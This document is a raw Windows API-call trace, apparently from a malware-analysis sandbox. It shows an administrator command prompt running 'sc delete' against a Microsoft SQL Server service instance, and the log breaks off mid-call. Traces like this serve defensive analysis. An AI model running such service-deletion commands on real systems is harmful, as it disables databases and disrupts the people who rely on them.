[0076.873] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.873] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.873] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.873] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="QL$PROGID\"\nL\"\nvice\n\n") returned 1 [0076.873] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.873] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.873] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.873] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="L$PROGID\"\nL\"\nvice\n\n") returned 1 [0076.873] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.873] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.873] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.873] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="$PROGID\"\nL\"\nvice\n\n") returned 1 [0076.873] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.873] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.873] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.873] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="WROGID\"\nL\"\nvice\n\n") returned 1 [0076.874] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.874] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.874] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.874] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="OOGID\"\nL\"\nvice\n\n") returned 1 [0076.874] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.874] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.874] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.874] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="LGID\"\nL\"\nvice\n\n") returned 1 [0076.874] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.874] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.874] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.874] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="TID\"\nL\"\nvice\n\n") returned 1 [0076.874] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.874] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.874] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.874] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="ED\"\nL\"\nvice\n\n") returned 1 [0076.874] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.874] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.874] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.875] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="R\"\nL\"\nvice\n\n") returned 1 [0076.875] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.875] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.875] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.875] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="S\nL\"\nvice\n\n") returned 1 [0076.875] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.875] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.875] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.875] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="KL\"\nvice\n\n") returned 1 [0076.875] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.875] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.875] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.875] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e352, cchWideChar=1 | out: lpWideCharStr="L\"\nvice\n\n") returned 1 [0076.875] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.875] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.875] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.875] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e354, cchWideChar=1 | out: lpWideCharStr="U\nvice\n\n") returned 1 [0076.875] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.876] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.876] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.876] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e356, cchWideChar=1 | out: lpWideCharStr="Wvice\n\n") returned 1 [0076.876] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.876] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.876] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.876] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e358, cchWideChar=1 | out: lpWideCharStr="Eice\n\n") returned 1 [0076.876] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.876] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.876] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.876] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35a, cchWideChar=1 | out: lpWideCharStr="Rce\n\n") returned 1 [0076.876] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.876] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.876] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.876] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35c, cchWideChar=1 | out: lpWideCharStr="\"e\n\n") returned 1 [0076.876] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.876] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.876] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.877] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35e, cchWideChar=1 | out: lpWideCharStr="\n\n\n") returned 1 [0076.877] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.877] GetFileType (hFile=0xb8) returned 0x3 [0076.877] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.877] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.877] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.877] GetFileType (hFile=0x120) returned 0x3 [0076.877] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.877] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"MSSQL$WOLTERSKLUWER\"\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"MSSQL$WOLTERSKLUWER\"\n", lpUsedDefaultChar=0x0) returned 33 [0076.877] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x20, lpOverlapped=0x0) returned 1 [0076.877] GetProcessHeap () returned 0x240000 [0076.877] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0076.877] GetProcessHeap () returned 0x240000 [0076.877] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0076.877] GetProcessHeap () returned 0x240000 [0076.877] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0076.877] GetProcessHeap () returned 0x240000 [0076.877] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0076.877] GetProcessHeap () returned 0x240000 [0076.877] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4c) returned 0x2597e0 [0076.878] GetConsoleOutputCP () returned 0x1b5 [0076.878] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0076.878] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.878] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.878] GetProcessHeap () returned 0x240000 [0076.878] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0076.878] GetProcessHeap () returned 0x240000 [0076.878] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x52) returned 0x259840 [0076.878] GetProcessHeap () returned 0x240000 [0076.878] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25ba10 [0076.879] SetErrorMode (uMode=0x0) returned 0x1 [0076.879] SetErrorMode (uMode=0x1) returned 0x0 [0076.879] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25ba20, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0076.879] SetErrorMode (uMode=0x1) returned 0x1 [0076.879] GetProcessHeap () returned 0x240000 [0076.879] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25ba10, Size=0x62) returned 0x25ba10 [0076.879] GetProcessHeap () returned 0x240000 [0076.879] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba10) returned 0x62 [0076.879] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0076.879] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0076.879] GetProcessHeap () returned 0x240000 [0076.879] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0076.879] GetProcessHeap () returned 0x240000 [0076.879] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0076.879] GetProcessHeap () returned 0x240000 [0076.879] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0076.879] GetProcessHeap () returned 0x240000 [0076.879] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0076.879] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0076.879] GetProcessHeap () returned 0x240000 [0076.879] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0076.879] GetProcessHeap () returned 0x240000 [0076.880] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0076.880] GetProcessHeap () returned 0x240000 [0076.880] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0076.880] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.880] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.880] GetLastError () returned 0x2 [0076.880] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.880] GetLastError () returned 0x2 [0076.880] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.880] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0076.881] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0076.881] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.881] GetLastError () returned 0x2 [0076.881] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0076.881] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0076.881] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0076.881] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0076.881] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.881] GetProcessHeap () returned 0x240000 [0076.881] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0076.882] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.882] GetProcessHeap () returned 0x240000 [0076.882] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xb8) returned 0x259180 [0076.882] GetProcessHeap () returned 0x240000 [0076.882] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xb8 [0076.882] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"MSSQL$WOLTERSKLUWER\"") returned 1 [0076.883] GetProcessHeap () returned 0x240000 [0076.883] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0076.883] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0076.883] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0076.883] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0076.883] GetProcessHeap () returned 0x240000 [0076.883] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0076.883] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0076.883] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0076.883] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0076.883] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0076.883] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.883] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.883] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.883] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0076.883] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0076.883] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0076.883] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0076.883] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0076.883] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0076.884] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0076.884] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0076.884] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0076.884] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0076.884] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0076.884] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.884] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.884] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.884] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.884] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.884] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.884] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.884] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.884] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0076.884] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0076.884] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0076.884] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0076.884] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0076.884] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0076.884] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0076.884] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0076.884] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0076.884] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0076.884] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0076.884] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0076.884] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0076.884] GetProcessHeap () returned 0x240000 [0076.885] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0076.885] GetProcessHeap () returned 0x240000 [0076.885] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0076.885] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"MSSQL$WOLTERSKLUWER\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"MSSQL$WOLTERSKLUWER\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete \"MSSQL$WOLTERSKLUWER\"", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0xa6c, dwThreadId=0xa68)) returned 1 [0076.888] CloseHandle (hObject=0x54) returned 1 [0076.888] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0076.889] GetProcessHeap () returned 0x240000 [0076.889] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: 